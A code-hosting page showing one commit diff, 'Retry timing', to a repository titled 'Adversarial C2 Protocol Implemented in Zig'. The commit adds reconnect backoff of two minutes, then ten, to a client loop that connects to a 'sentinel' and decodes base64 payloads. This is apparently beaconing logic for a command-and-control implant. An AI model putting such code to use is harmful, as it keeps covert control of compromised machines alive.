Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Retry timing

Wait 2 minutes if trying for initial connect. Wait 10 minutes if
connection to sentinel has timed out

+12 -2
+12 -2
src/main.zig
··· 126 126 return; 127 127 } 128 128 129 + var retry_seconds: u16 = 120; 130 + 129 131 if (flags.connect != null) { 130 132 reconnect: while (true) { 131 133 log.debug("Starting connection", .{}); ··· 133 135 var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined; 134 136 var w: Writer = .fixed(&init_con_buf); 135 137 try w.print("{b64}", .{flags.connect.?}); 136 - var connection = try client.connect(init.io, w.buffered()); 138 + var connection = client.connect(init.io, w.buffered()) catch { 139 + try init.io.sleep(.fromSeconds(retry_seconds), .boot); 140 + continue; 141 + }; 137 142 defer connection.deinit(); 138 143 144 + retry_seconds = 600; 145 + 139 146 log.debug("Connection started", .{}); 140 147 141 148 while (true) { 142 149 var res_buf: [2048]u8 = undefined; 143 - const next = connection.next(init.io, &res_buf) catch continue :reconnect; 150 + const next = connection.next(init.io, &res_buf) catch { 151 + try init.io.sleep(.fromSeconds(retry_seconds), .boot); 152 + continue :reconnect; 153 + }; 144 154 145 155 const b64d = std.base64.standard.Decoder; 146 156 var connection_payload_buf: [2048]u8 = undefined;